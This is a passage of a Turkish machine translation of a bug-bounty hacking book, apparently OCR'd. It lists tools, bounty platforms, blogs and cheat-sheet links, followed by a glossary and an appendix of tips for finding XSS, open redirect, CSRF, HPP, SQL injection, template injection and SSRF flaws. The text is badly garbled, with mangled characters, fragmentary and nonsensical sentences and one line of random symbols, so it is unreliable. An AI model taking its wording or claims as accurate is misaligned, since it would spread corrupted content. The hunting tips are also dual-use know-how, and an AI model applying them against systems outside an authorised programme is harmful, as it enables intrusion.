Yeni gerezleri goriintiilemenizi, diizenlemenizi ve olusturmanizi saglar. Ayrica, hakkinda ek bilgi gosterir.

Cerezler, bir kerede birden fazla gerez diizenleme, ¢erezleri yedekleme ve geri yiikleme vb.

XSS Me

XSS-Me, bir tarayicidan yanstyan XSS agiklarini bulmak i¢in kullanilir. Téim formlari tarar
ve sonra, onceden tanimlanmis XSS ile segilen sayfalara bir saldirt gergeklestirir

yiikleri. Tarama islemi tamamlandiktan sonra, cihazda yiik olusturan tiim sayfalar listeler.
sayfa, ve XSS'ye acik olabilir. Bu sonuglarla manuel olarak onaylamaniz gerekir.

bulunan giivenlik agiklari.
Offsec Exploit-db Aramasi

Bu, exploit-db.com adresinde listelenen giivenlik agiklarini ve istismarlar1 aramanizi saglar. Bu web sitesi

En son istismarlar ve giivenlik a¢ig1 detaylariyla her zaman giinceldir.
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Wappalyzer

https://addons.mozilla.org/en-us/firefox/addon/wappalyzer/

Bu arag, agagidakiler de dahil olmak {izere bir sitede kullanilan teknolojileri tanimlamaniza yardimei olacaktir.
CloudFlare, Altyapilar, Javascript Kiitiiphaneleri vb.
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24. Kaynaklar
Cevrimici egitim

Web Uygulamasi Exploits ve Savunmalari

Calismaniz i¢in savunmasiz bir gercek webapp ve dgreticiler igeren bir kod etiketi
, XSS, Ayricalik Escala dahil olmak iizere yaygin giivenlik agiklarini kesfetmek igin
CSREF, Path Traversal ve daha fazlasi. Https://google-gruyere.appspot.com adresinde bulabilirsiniz.

Exploit Veri Tabam

Tam olarak ¢evrimigi egitim almamakla birlikte, bu site kesfedilen yararlari igerir
giivenlik agiklari, genellikle bunlari miimkiin oldugunda CVE'lere baglar. Kullanirken



saglanan gergek kod, olabildigince son derece dikkatli yapilmalidir
yikici, bu bir hedef kullantyorsa, giivenlik agiklarint bulmak igin yararlidir

site yazilimi ve kod okuma, ne tiir bir anlamak i¢in yararlidir

bir siteden yararlanmak i¢in girdi saglanabilir.

Udacity

Web gelistirme de dahil olmak {izere ¢esitli konularda iicretsiz ¢evrimi¢i 6grenme kurslari-

s0z ve programlama. Kontrol etmenizi neririm:

HTML ve CSS'ye Girig 1 Javascript Temelleri »

Hata Odiil Platformlar:

Hackerone.com

Facebook, Microsoft ve Google’dan giivenlik liderleri tarafindan olusturuldu, HackerOne
ilk giivenlik ag181 koordinasyon ve hata ddiil platformudur.

! https://www.udacity.com/course/intro-to-html-and-css--ud304

2
~ https://www.udacity.com/course/javascript-basics--ud804
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kaynaklar
Bugcrowd.com

Outback'ten vadiye, Bugcrowd 2012°de
Kotii adamlara kars1 oran.

Synack.com

Miisterilere giivenlik uzmanlig1 sunan 6zel bir platform. Katilim gerektirir
onay ancak kesinlikle bagvuru siirecidir. Raporlar tipik olarak yeniden yapilir.
24 saat iginde ¢oziildii ve ddiillendirildi.

Cobalt.io

Ayn1 zamanda ¢alisan ¢ekirdek bir aragtirmaci grubuna sahip olan bir hata 6diil platformu
ozel programlarda.

Video Ogreticileri
youtube.com/yaworskl

Kayit yapmaya basladigim YouTube kanalimi dahil etmeseydim, hatirlatirdim
Bu kitabu iltifat etmeye yardimet olacak agiklart bulma konusunda egiticiler.

Seccasts.com

210


https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/intro-to-html-and-css--ud304
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/javascript-basics--ud804
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/intro-to-html-and-css--ud304
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://www.udacity.com/course/javascript-basics--ud804

SecCasts, web sitelerinden, sunan bir giivenlik video egitimi platformudur.
Temel web hackleme tekniklerinden derinlemesine giivenlige kadar ¢esitli egitimler

belirli bir dil veya gergevede konular.

Web Shot nasil

Teknik olarak bir video egitimi degilken, Jason Haddix'in (Hacking ProTips # 5
misafir) DefCon 23’{in sunumu, olmaniz i¢in harika bir fikir verir.

daha iyi bir hacker. Malzemeyi kendi bilgisayar korsanligina dayandirdi (1 numaraydi.
Onlara katilmadan 6nce Bugcrowd iizerine) ve blog yazilarin1 okumak ve

diger iist korsanlardan gelen agiklamalar.
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Daha fazla okuma

OWASP.com

Acik Web Uygulamasi Giivenlik Projesi, biiyiik bir giivenlik aci1g1 kaynagidir.
bility bilgisi. Onlar uygun bir Security101 boliimii, hile sayfalari var,
¢ogu gilivenlik ac1g: tiiriindeki sinama kilavuzu ve ayrintili agiklamalar.

Hackerone.com/hacktivity

Odiil programlarindan bildirilen tiim agiklarin bir listesi. Sadece
bazi raporlar herkese agiktir, GitHub’daki komut dosyasini tim
kamuya agiklanmis agiklamalar (https://github.com/yaworsk/hackerone scrapper).

https://bugzilla.mozilla.org

Mozilla'nin hata izleme sistemi. Bu, bildirilen tiim giivenlikle ilgili sorunlari igerir
bdcek ddiil programlarina. Bu, ne oldugu hakkinda okumak i¢in harika bir kaynak
Mozilla’nin buldugu ve nasil isledigi

tamamlanmadi.

Twitter #infosec ve #bugbounty

Cok fazla giiriiltii olmasina ragmen, ¢ok sayida ilging giivenlik / giivenlik ag1g1 var
#infosec ve #bugbounty altindaki ilgili tweet'leri, genellikle baglantilari olan
detayli yazimlar

Twitter @ announcedhl

Resmi olmayan HackerOne kamuoyu aciklamalari son zamanlarda tweets
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agiklanan hatalar.

Web Uygulamasi1 Hacker El Kitabi

Baslik hepsini sdylemeli. Burp Suite yaraticilari tarafindan yazilmis, bu gergekten bir

okumalisiniz.

kaynaklar
Bocek Avcilar1 Metodolojisi
Bu Jason Haddix'ten bir GitHub deposu (Hacking ProTips # 5 misafir) ve
bagarili bilgisayar korsanlarinin nasil bir yaklagim sergiledigine dair miithis bir goriis saglar.

hedef. MarkDown'da yazilmistir ve Jason DefCon 23'{in bir yan {iriintidiir. Nas1l
Web sunumunu vurmak i¢in. Https://github.com/jhaddix/tbhm adresinde bulabilirsiniz.

Onerilen Bloglar

philippeharewood.com

Hakkinda inanilmaz miktarda paylasan inanilmaz bir Facebook korsani tarafindan blog
Facebook'taki mantik kusurlarini1 bulma. Philippe ile réportaj yapacak kadar sansliydim.
Nisan 2016 ve blogunun ne kadar akilli ve miithis oldugunu yeterince vurgulayamiyorum

- Her yaziy1 okudum.

Philippe'in Facebook Sayfasi -
www.facebook.com/phwd-113702895386410

Philippe'den bir bagka harika kaynak. Bu bir Facebook listesini igerir
Bocek Bounties.

finlte.net
Son iki igin Ikinci sirada yer alan Facebook Whitehat Programina gére Blog

yil (2015, 2014). Jack ¢ok fazla mesaj atmiyor gibi goriiniiyor ama

aciklamalar derinlemesine ve bilgilendirici!

NahamSec.com

HackerOne'a # 26 (Subat 2016 itibariyle) hacker tarafindan yazilmistir. Cok serin
Burada agiklanan giivenlik agiklari - notlarin ¢ogunda arsivlenmis, ancak yine de arsivlenmis
sitede mevcuttur.

blog.it-securityguard.com
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ngaetﬂ{l%ﬁelglfggt)aaﬁlé}% &é%i%%ﬁi{&“a%}{fﬁl%fa%‘ gféoéhhlflelg%lﬁﬁsek etkili giivenlik agiklart. O oldu

Ayrica Hacking Pro Tips ig¢in ikinci goriismeci.
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blog.innerht.ml
HackerOne'daki en iyi Hacker'lardan bir baska harika blog. Filedescriptor var
Twitter'da sasirtic1 derecede yiiksek 6demeleri ve yaymlarini iceren bazi hatalar buldu.
teknik, detayli ve ¢ok iyi yazilmig!
blog.orange.tw
Tonlarca degerli kaynaklara baglanti i¢eren bir Top DefCon korsanindan blog yaz.
Portswigger Blog
Burp Suite gelistiricilerinden Blog. Siddetle tavsiye
Nvisium Blog
Bir giivenlik sirketinden harika bir blog. Rails RCE giivenlik agigini buldular

Flask / Jinja2 ile kirilganliklar1 bulma konusunda tartisild1 ve bloglandi
Uber RCE'den iki hafta énce bulundu.

blog.zsec.uk

7 Haziran 2016'dan itibaren # 1 PornHub korsanindan blog.
brutelogic.com.br

Brezilya hacker @ brutelogic tarafindan yazilmistir. Bu bazi sasirtici derecede ayrintilt

XSS saldirilart i¢in ipuglar1 ve piif noktalar1. @ brutelogic husu ile yetenekli bir hacker

baz1 XSS bildirimleri portfoyii https://www.openbugbounty.org/researchers/Brute/ adresindedir.
Icamtuf.blogspot.ca

Michal Zalewski'nin (Google) blogu daha ileri konu basliklar1 i¢eriyor

geligsmis konularla ayaklarinizi 1slatmak i¢in harika. O da yazari
Karigik Web.

Bug Kalabalik Blog

Bug Crowd, miithis roportajlar dahil olmak iizere harika igerikler yayinladi
bilgisayar korsanlari ve diger bilgilendirici malzemeler. Jason Haddix de yakin zamanda

blog araciligryla bulabileceginiz bir hack podcast baglatti.
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HackerOne Blogu

HackerOne ayrica onerildigi gibi bilgisayar korsanlari i¢in de faydali icerikler yayinlamaktadir.
bloglar, platformda yeni islevler (yeni vulner aramak igin iyi bir yer-
yetenekler!) ve daha iyi bir hacker olma konusunda ipuglari.

Cheatsheets

* Yol Gegis Hile Sayfas1 Linux - https://www.gracefulsecurity.com/path-traver-
sal-hile-tabaka Linux /

* XXE - https://www.gracefulsecurity.com/xxe-cheatsheet/

* HTMLS5 Giivenlik Hile Sayfasi - https://htmlSsec.org/

* Briit XSS Hile Sayfasi - http://brutelogic.com.br/blog/cheat-sheet/

* XSS Polyglots - http://polyglot.innerht.ml/

* MySQL SQL Enjeksiyon Hile Sayfasi - http://pentestmonkey.net/cheat-sheet/sql-in-
jection / MySQL-sql enjeksiyon-hile-yaprak

* Angular]JS Sandbox Bypass Koleksiyonu (1.5.7 Dahil) - http://pastebin.com/xMXwsmON
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25. Sozluk

Siyah Sapka Hacker

Bir Black Hat Hacker “bilgisayar giivenligini ¢ok az ihlal eden bir bilgisayar korsanidir.
kotiiliigiin 6tesinde bir sebep ya da kisisel kazang i¢in ”(Robert Moore, 2005,

Siber Sug). Siyah Sapka ayni zamanda iginde “kraker” olarak da adlandirilir.

giivenlik endiistrisi ve modern programcilar. Bu bilgisayar korsanlari genellikle

Verileri yok etmek, degistirmek veya ¢almak i¢in kotii niyetli eylemler. Bu tam tersi bir
Beyaz Sapka Hacker.

Tampon Tasmasi
Arabellek Tagmasi, bir programin ara bellege veri yazdigi bir durumdur veya
hafizanin alani, gergekte tahsis edilen alandan daha fazla veri yazmak i¢gin

Bu hafiza igin. Sonug olarak, program bellegin {izerine yazma biter

olmamali miydi.

Hata Odiil Program

Beyaz Sapka Hacker'larinin tanima alabilecegi web siteleri tarafindan sunulan bir anlagsma
hatalar1 bildirmek i¢in harg veya tazminat, 6zellikle giivenlikle ilgili glivenlik ag1g1-
yetenekleri. Ornekler HackerOne.com ve Bugcrowd.com'dur.

Hata raporu

Arastirmacinin belirli bir bolgedeki potansiyel giivenlik a¢ig1 hakkinda agiklamasi

Uriin veya hizmet.

CRLF Enjeksiyonu
CRLF veya Satir Bag1 Satir Beslemesi, Enjeksiyon, bu tiir bir giivenlik agigidir.

Bir kullanic1 bir uygulamaya CRLF eklemeyi basardiginda ortaya ¢ikar. Bu
bazen HTTP Yanit B6lme olarak da adlandirilir.
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Siteler Arasi Istek Sahteciligi

Bir kétii niyetli oldugunda Siteler Aras1 Istek Sahteciligi veya CSRF saldiris1 gergeklesiyor
web sitesi, e-posta, anlik ileti, uygulama vb. kullanicinin web tarayicisina neden olur

bu kullanicinin zaten bulundugu bagka bir web sitesinde bir islem yapmak i¢in

kimligi dogruland1 veya giris yapild.



Siteler Aras1 Komut Dosyasi

Siteler aras1 komut dosyasi ¢alistirma veya XSS, istenmeyen Javascript i¢eren bir web sitesi igerir
daha sonra gelen kod, bu kodu kullanarak uygulayan kullanicilara gecer.
onlarin tarayicilari.

HTML Enjeksiyonu

K&prii Metni Bigimlendirme Dili (HTML) enjeksiyonu

sanal tahribat, ger¢ekten izin verilen bir sitede yapilan bir saldiridir

Kotii niyetli bir kullanici bu kullanicinin girisini ele alarak siteye HTML enjekte etmiyor
uygun sekilde.

HTTP Parametre Kirliligi

Bir web sitesi tarafindan kabul edildiginde, HTTP Parameter Kirliligi veya HPP olusur.
Bir kullanic1 ve bunu baska bir sisteme bir HTTP istegi yapmak i¢in kullanr.

bu kullanicinin girisini dogrulamak.

HTTP Yamit Bolme

Ko&tii niyetli bir kullanicinin enjekte edebildigi CRLF Injection i¢in bagka bir ad

Bir sunucu yanit1 i¢ine basliklar.

Bellek Bozulmasi

Bellek bozulmasi, neden oldugu giivenlik agigin1 agiga ¢ikarmak igin kullanilan bir tekniktir.
siradis1 veya beklenmedik davraniglarda bulunmak i¢in bu kodu kullanin. Etki
bellege maruz kalmamasi gerektiginde bellegin maruz kaldigi arabellek tagmasina benzer

olmak.
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Yonlendirmeyi A¢

Bir uygulama bir parametre alip yonlendirdiginde, agik bir yonlendirme gergeklesir.
bir kullanici iizerinde herhangi bir dogrulama yapmadan bu parametre degerine
deger, kiymet.

Penetrasyon testi

Giivenlik zayifliklarini arayan bir bilgisayar sistemine yapilan yazilim saldirisi,
Bilgisayarin 6zelliklerine ve verilerine potansiyel olarak erisim kazanma. Bunlar olabilir
ne i¢in yasal veya sirket tarafindan onaylanmus, test veya yasal olmayan testler dahil
farious amaglar.
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Arastirmacilar

Beyaz Sapka Hackerlar olarak da bilinir. Bir potansiyeli arastirmis olan herkes
akademik giivenlik de dahil olmak iizere bir tiir teknolojide giivenlik sorunu
aragtirmacilar, yazilim miihendisleri, sistem yoneticileri ve hatta gegici
teknoloji.

Miidahale ekibi

Giivenlik konularini ele almaktan sorumlu olan bir birey ekibi

bir iirlin veya hizmette kesfedildi. Kosullara bagli olarak, bu

bir kurulugtan, bir grup goniilliiden gelen resmi bir yanit ekibi olabilir.
actk kaynak kodlu bir projede veya bagimsiz bir géniillii panelinde.

Sorumlu Aciklama

Bir miidahale ekibine yeterli bir siire izin verirken bir giivenlik a¢1ginin tanimlanmasi
giivenlik agigin1 herkese agik hale getirmeden once giivenlik a¢igini ele almanin zamani.

Giivenlik A¢1g1

Bir saldirganin ihlalde bir eylem gergeklestirmesine izin verecek bir yazilim hatasi

ifade edilen bir giivenlik politikasinin Yiikseltilmis erigimi saglayan bir hata veya
ayricalik bir giivenlik agigidir. En iyi giivenlige uymak i¢in kusurlar: ve hatalar: tasarlayin
uygulamalar giivenlik agiklari olarak nitelenebilir.

Sézliik 218
Giivenlik Aci1g1 Koordinasyonu

Ilgili tiim taraflarin bir giivenlik acigim gidermek icin birlikte galismasi icin bir islem.
Ornegin, bir arastirma (beyaz sapka korsani) ve HackerOne’da bir sirket veya
bir arastirmact (beyaz sapka korsani) ve agik kaynakli bir topluluk.

Giivenlik Aci1g1 Aciklamasi

Giivenlik ag1g1 agiklamast, bir bilgisayar bilgisayariyla ilgili bilgilerin yayimlanmasidur.

tedavi problemi. Giivenlik a¢1g1 iflasina iliskin evrensel kurallar yoktur

kabarikliklar ancak hata &diil programlari genellikle agiklamalarin nasil yapildigina iliskin yonergelere sahiptir.
ele alinmali.

Beyaz Sapka Hacker

White Hat Hacker, ¢aligmalarini saglamay1 amaglayan etik bir hacker
bir kurulusun giivenligi. Beyaz Sapka'nin ara sira

penetrasyon test cihazlari. Bu bir Black Hat Hacker'in tam tersi.
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Yonlendirmeleri A¢

Tim giivenlik aciklart karmasik degildir. Bu acik yonlendirme, basit¢e degisen gerekli
domain_name parametresi, sonugta sonuglanacak harici bir siteye
bir site disina Shopify'dan yonlendiriliyor.

Yonlendirme parametreleri her zaman agikca etiketlenmemis olabilir, ¢linkii parametreler
siteden siteye farkli hatta bir site i¢inde bile adlandirilabilir. Bazi durumlarda sen
parametrelerin r = gibi tek karakterlerle etiketlendigini bile bulabilir veya

u = .Acik yonlendirmeleri ararken URL parametrelerini géz 6niinde bulundurun
URL’leri, yonlendirme, sonraki, vb. kelimeleri igerir.

siteler kullanicilar1 yonlendirecektir.

Ayrica, sitenin dondiirdiigii son URL’nin yalnizca bir boliimiinii kontrol edebiliyorsaniz,
Ornegin, yalnizca checkout url parametre degerini ve parametrenin

magaza gibi sitenin arka tarafindaki kodlanmis bir URL ile birlestiriliyor

URL http:/mystore. myshopify.com , nokta gibi 6zel URL karakterleri eklemeyi deneyin veya

@ URL'nin anlamini degistirmek ve bir kullanicty1 baska bir etki alanina yonlendirmek igin.



Giivenlik agiklarini ararken, bir sitenin kullandigi hizmetleri dikkate alin

her biri yeni saldir1 vektorlerini temsil eder. Iste bu giivenlik ag131 miimkiin oldu
HackerOne'un Zendesk kullanimini ve bilinen yonlendirmeyi birlestirerek

izin.

Ek olarak, hatalar1 buldugunuzda, giivenlik uygulamasinin gergeklestigi zamanlar da olacaktir.
Sizin i¢in okuyan ve cevaplayan kisi tarafindan kolayca anlagilmaz.

bildiri. Bu nedenle, Giivenlik A¢131 Raporlart ile ilgili ayrintilar igeren bir bolimiim var.

Bir rapora dahil etmek, sirketler ile iliskilerin nasil kurulacagini ve diger

bilgi. Onceden kiigiik bir i yaparsaniz ve giivenligi saygiyla agiklarsaniz

Raporunuzdaki gikarimlar, daha yumusak bir ¢6ziim saglanmasina yardimeci olacaktir.

Ancak, bu bile olsa, sirketlerin sizinle ayn1 fikirde olmadigi zamanlar olacak.
Eger durum buysa, Mahmoud’in yaptig1 gibi kazmaya devam edin ve
etkinligi gostermek i¢in onu baska bir giivenlik a¢ig1 ile sémiiriin veya birlestirin.
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HTTP Parametre Kirliligi

Web siteleri igerik kabul ettiginde ve goriindiigiinde firsatlara dikkat edin
sosyal medya siteleri gibi baska bir web servisiyle iletisim kurmak ve

Paylasilan bir gonderi olusturmak i¢in baglantiy1 olusturmak i¢in gegerli URL.

Bu gibi durumlarda, gonderilen igerigin aktarilmasi miimkiin olabilir
parametreye yol agabilecek uygun giivenlik kontrolleri yapilmadan agik
kirlilik agiklar1.

Kisa bir agiklama olsa da, Mert'in gabalari

sistence ve bilgi. Daha sonra giivenlik agigindan kurtulmus olsaydi

Degisen UID Baska bir kullanicinin ve basarisiz ya da o hakkinda bilmek olmasaydi HPP-
giivenlik agiklarini yazin, 700 dolarlik 6diiliini almazdi.

Ayrica, HTTP isteklerine dahil edilen UID gibi parametrelere dikkat edin
birgok giivenlik ag1g1 web yapmak i¢in parametre degerlerini degistirmeyi igerir
beklenmedik seyler yapan uygulamalar.

Bu, 6nceki UID Twitter giivenlik a¢igina benzer. Sasirtict olmayan bir sekilde, ne zaman
Site HPP gibi bir hasara karsi savunmasiz, daha genis bir sistemik gostergesi olabilir
konu. Bazen bdyle bir giivenlik agig1 bulursaniz, zaman ayirmaya deger

Platformu tiimiiyle arastirmak, bulundugunuz baska yerler olup olmadigini gérmek igin

benzer davranislardan yararlanabilir.

Siteler Arasi istek Sahteciligi

Bu durumda, giivenlik agigin1 bir proxy sunucusu kullanarak bulabilirdiniz,
Burp veya OWASP'mm ZAP'i gibi Shopify'a gonderilen HTTP isteklerini izlemek i¢in
ve bunun bir GET istegi oldugunu belirtti. GET istekleri hi¢bir zaman degisiklik yapmamali



sunucudaki verileri, ancak WeSecureApp ile yikict eylemde

Birincisi, bu tiir istekleri de gbz 6niinde bulundurmalisiniz.

Avantajlar ararken, saldirt alaninizi genisletin ve sadece 6tesine bakin

bir sitenin, API i¢in son noktalar1 igeren ve

aciklari. Bazen, gelistiriciler bazen bu API bitis noktalarini unutur

web sayfalar1 gibi hazir olmadiklart igin kesfedilebilir ve kullanilabilirler
(6rnegin, mobil API ug noktalari, telefon trafiginizin ele gecirilmesini gerektirir).

Sayfa 233

Ek A - Take Away 221

Dumanin oldugu yerde yangin var. Burada, Mahmud rt parametresinin farkina vardi.

farkl1 yerlerde, 6zellikle de JSON yanitlarinda iade ediliyordu. Ciinki

Bunun hakli olarak, rt'nin olabilecegi bir yerde ortaya ¢ikabilecegini tahmin etti.

saldirgan tarafindan erisilen ve somiiriilen ”(bu durumda bir JavaScript

dosya. Bir seylerin kapali oldugunu diisiiniiyorsaniz, kazmaya devam edin. Bir proxy kullanin ve tim
Bir hedef siteyi veya uygulamay: ziyaret ettiginizde ¢agrilan kaynaklar. Sen

CSREF belirteci gibi hassas verilerle bir bilgi sizintis1 bulabilir.

Ayrica, bu harika saglamak i¢in ekstra mil gitmenin harika bir 6rnegidir
bir istismarim kaniti. Mahmoud sadece giivenlik a¢igini bulmakla kalmadi, ayn1 zamanda
onun HTML yoluyla nasil kullanilacagina dair tam bir 6rnek verdi.

HTML Enjeksiyonu

Bir siteyi test ederken, farkli tiplerdeki sitelerin nasil islendigini kontrol edin.

diiz metin ve kodlanmig metin dahil olmak tizere giris. Olan siteleri aramak i¢in olun
% 2F gibi URI kodlu degerleri kabul etme ve kod ¢6zme degerlerini olusturma

bu durum /. Bu 6rnekte hacker'm ne diisiindiigiinii bilmiyor olsak da,

URD’nin kisitlanmig karakterleri kodlamaya calistiklarini ve

Coinbase onlar1 ¢6ziiyordu. Daha sonra bir adim daha ileri gittiler ve URI kodland1
biitiin karakterler.

bir harika [svigcre  Ordu bigak hangi igerir kodlama araglar  dir-dir

https://gchg.github.io/CyberChef/ . Kontrol etmenizi ve eklemenizi 6neririm
yararl araglar listenize

Kod giincellendiginden, her seyin sabit oldugu anlamina gelmez. Test et.

Bir degisiklik yapildiginda, bu ayn1 zamanda hatalari igerebilecek yeni bir kod anlamina gelir.
Ek olarak, bir seyin dogru olmadigin1 diisiiniiyorsaniz, kazmaya devam edin! Ben ilk biliyordum
Son tek bir alint1 yapmak sorun olabilir, ancak nasil yararlanacagimi bilmiyordum ve

durdu. Devam etmeliydim. Aslinda meta yenileme hakkinda 6grendim

FileDescriptor'm blog.innerht.ml dosyasim okuyarak faydalanma (Kaynaklara dahil edilmistir)
boliim) ama ¢ok sonra.

URL parametrelerine iletilmekte ve iglenmekte ve

site igerigi Saldirganlarin kurbanlari aldatmast i¢in firsatlar sunabilirler

baz1 kétii niyetli eylemlerde bulunmak. Bazen bu Cross Site ile sonuglanir
Scripting Attacks, diger zamanlarda daha az etkili igerik sahtekarlig1 ve
HTML enjeksiyonu Akilda tutulmasi dnemlidir, bu rapor 250 dolar 6derken,
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Giivenlik i¢in asgari ikramiyeydi ve tiim programlar deger ve ddeme yapmazlardi.
bu tiir raporlar i¢in.

CRLF Enjeksiyonlar

Iyi saldiri, gézlem ve becerinin bir birlesimidir. Bu durumda, @ filedescrip-
tor, kodlamay1 yanlis kullanan 6nceki bir Firefox kodlama hatasini biliyordu.
Bu bilgiye dayanarak, Twitter'daki benzer kodlamalar1 denemesine neden oldu.
eklenen kotii amagli karakterleri alin.

Zafiyetleri ararken, daima digint diigiinmeyi unutmayin.

kutu ve sitenin girisi nasil ele aldigini gérmek i¢in kodlanmis degerleri gonderin.

Bir sitenin giriginizi kabul ettigi ve kullandig: firsatlar i¢in uyanik olun

doniis gerezlerinin bir pargasi olarak, dzellikle gerezleri ayarlayarak. Bu dzellikle
magdurdan daha az etkilesim olmasi nedeniyle, bir GET istegi ile gergeklestiginde dnemli
gereklidir.

Siteler Aras1 Komut Dosyasi

Metni girdiginiz durumlar i¢in 6zel dikkat gdstererek her seyi test edin

sana geri dondiriililyor. HTML ekleyip eklemeyeceginizi belirlemek i¢in test edin

veya sitenin nasil iglendigini gérmek i¢in Javascript. Ayrica buna benzer kodlanmig girisi deneyin
HTML Enjeksiyonu bolimiinde agiklanmistir.

XSS agiklarinin karmasik veya karmasik olmasi gerekmez. Bu giivenlik agi81
bulabileceginiz en temel seydi - sterilize etmeyen basit bir giris metin alani
bir kullanicinin girigi. Ve 21 Aralik 2015'te kesfedildi ve

500 dolar hacker! Gereken tek sey bilgisayar korsaninin bakis agisiydi.
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Burada XSS giivenlik agigini bulurken yardimei olacak not edilmesi gereken iki sey var.
kravat, baglanti, bag:

1. Bu durumda bu giivenlik acig1 aslinda dosya girisi alaninda degildi -
alanin name 6zelligi tizerindeydi. Peki XSS'i ararken
firsatlar mevcut tiim giris degerleri ile oynamay1 unutmayin.
2. Buradaki deger vekil tarafindan yonlendirildikten sonra gonderildi. Bu
Javascript’in degerlerini dogrulayan
miisteri tarafi (tarayiciniz) herhangi bir deger aslinda sitenin geri donmeden once

sunucusu.

Ashnda, dogrulamay: tarayicimizda ger¢ek zamanh olarak gordiigiiniizde,

bu alami test etmeniz gereken bir kirnizi kurbaga olmah! Gelistiriciler yapabilir
Degerlerin bir kez kotii amagl kod igin gonderilen degerleri dogrulamamasi hatasi
Javascript kodunun zaten tarayicida oldugunu diisiindiikleri i¢in sunucularina

Giris alinmadan 6nce dogrulama iglemlerini yapmak.

Javascript metni giivenli bir sekilde olusturuldugunda XSS aciklar1 ortaya ¢ikar. Bu

metnin bir sitede birden fazla yerde kullanilmasi ve

Her yer test edilmelidir. Bu durumda, Shopify magaza icermez veya

Kullanicilarin Javscript'i kendi baslarina kullanmasina izin verildiginden XSS i¢in ¢ikis sayfalari
saklaym. Diigiinmeden dnce bu giivenlik agigini kapatmak daha kolay olurdu

Alanin harici sosyal medya sitelerinde kullanilip kullanilmadig.

Yanlis bigimlendirilmis veya bozuk HTML’yi gegmek, sitelerin nasil ayrigtirildigini test etmek igin harika bir yoldur
giris. Bir bilgisayar korsani olarak, gelistiricilerin neler yapmadigim diisiinmek énemlidir. I¢in

Ornegin, normal resim etiketleriyle, iki src niteligi iletirseniz ne olur?

Bu nasil olacak?

Daima giivenlik agiklarini aramaya devam edin. Bunu varsaymak kolaydir ¢iinkii
bir sirket ¢ok biiyiik ya da iyi biliniyor, her seyin bulundugunu biliyor. Ancak,
sirketler her zaman kodu gonderir.

Ek olarak, javascript'in ¢alistirilabilmesi i¢in birgok yol vardir.

Google’in degerini degistirdigini gordiikten sonra bu durumda vazge¢mek kolaydi.
baglantiy1 her tikladiginda, yani

fare.
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Burada iki sey ilging. Ik olarak, Patrik saglamaya bir alternatif buldu
giris - bunun i¢in uyanik olun ve bir hedefin sagladig: tiim yontemleri test edin

girisi girin. Ikincisi, Google girisi dezenfekte ediyordu ancak ne zaman kactigini bilmiyordu.
render. Patrik'in girisinden kagmus olsalards, yik isten ¢ikarilmayacakti
¢linkii HTML zararsiz karakterlere doniistiiriilecekti.

Bu giivenlik agig ile ilgili beni ¢ok etkileyen ¢ok sey var

bunu dahil etmek istiyorum. lk olarak, Mustafa'nin 1srar1. Ne zaman pes etmek yerine

yiik aslen ateslemedi, Javascript koduna girdi ve 6grendi.

neden. Ikincisi, kara listenin kullanimu tiim bilgisayar korsanlari i¢in kirmizi bir bayrak olmalidir. Tut
hack edenler igin bir géz. Son olarak, yiikten ¢ok sey 6grendim ve

@ brutelogic ile konusuyor. Hackerlarla konusurken ve kendimi 6grenmeye devam ederken,

Bazi Javascript bilgilerinin gerekli oldugu i¢in kolayca anlasiliyor

daha karmasik giivenlik agiklart ¢ekerek.

Sstl

AngularJS kullanimi i¢in uyanik ol ve Angular't kullanarak alanlari test et
sozdizimi {{}}. Hayatiniz1 kolaylastirmak i¢in Firefox eklentisi Wappalyzer'i edinin - olacak
Angular]S kullanimi dahil bir sitenin hangi yazilimi kullandigin1 gosterir.

Bir sitenin hangi teknolojileri kullandigina dikkat edin, bunlar genellikle kilit fikirlere yol agar.
Bir siteyi nasil kullanabileceginizi. Bu durumda, Flask ve Jinja2 oldugu ortaya ¢ikt

biiyiik saldir1 vektorleri. Ve, bazi XSS agiklarinda oldugu gibi,

giivenlik a¢1g1 hemen veya kolayca goriinmeyebilir, tiimiinii kontrol ettiginizden emin olun
yerler metin olusturuldu. Bu durumda, Uber sitesindeki profil ad1

diiz metin gosterdi ve bu giivenlik agigini gergekten ortaya ¢ikaran e-posta oldu.

Bu giivenlik agig1, her Rails sitesinde bulunmaz - bagl

Site nasil kodlandi. Sonug olarak, bu otomatik bir arag olacak bir sey degil

mutlaka almak. Bir sitenin Rails kullanilarak olusturuldugunu bildiginiz zaman uyanik olun
URL'lerin ¢ogu i¢in ortak bir kural izler - en basitinde, / controller / id

Basit GET istekleri i¢in veya / controller / id / edit, edit;

Bu url sablonunun ortaya ¢iktigini gordiigiiniizde, oynamaya baslayin. Beklenmedik sekilde geg
degerler ve neyin geri dondiiglinii goriin.
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SQL Enjeksiyonu

Bu 6rnek ilgingti, ¢iinkii tek bir bagvuruda bulunma meselesi degildi.
bir sorgu alint1 ve kirma. Aksine, her sey Drupal'm kodunun ne oldugu ile ilgiliydi.

i¢ igleve gegirilen dizileri kullanma. Siyahla bulmak kolay degil.
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bir siteye. Oyleyse, bir URL nereye? Parametre olarak, bir diziyi gegmeye ¢alisirken adin1
gibi? isim [] sitenin nasil idare ettigini gérmek i¢in. SQLi ile sonuglanmayabilir, ancak
diger ilging davranislara yol acar.

SQLI, diger enjeksiyon agiklart gibi, somiiriilmesi zor degil. Anahtar

savunmasiz olabilecek parametreleri test etmek. Bu durumda, ¢ift ekleme

dash, Stefano'nun temelde verdigi sorgunun sonuglarimi agik bir sekilde degistirdi
SQLi. Benzer giivenlik agiklarini ararken, incelikli olmaya dikkat et

Kor bir SQLI kirilganliginin gostergesi olabilecegi igin sonuglarda degisiklik yapti.

Kodlanmig parametreleri kabul eden HTTP isteklerine dikkat edin. Senden sonra
sorguyu kodunu ¢6z ve enjekte et, yiikiinii yeniden kodladigindan emin ol
bu ylizden her sey hala veritabanini kodlamay:1 bekliyor.

Bir veritabani adi, kullanici adi ve ana bilgisayar adinin ¢ikarilmasi genellikle g6z oniinde bulundurulur
zararsiz, ancak 0diil programinin izin verilen eylemleri i¢inde oldugundan emin olun.

¢alistyorsunuz. Bazi durumlarda, uyku komutu ispat1 i¢in yeterlidir.

kavrami.

Sunucu Tarafi Istegi Sahteciligi

Google Dorking, her tiiriinii agiga ¢ikarirken size zaman kazandiracak harika bir aractir
olasi istismarlarin. SSRF agiklari ariyorsaniz, uyanik olun

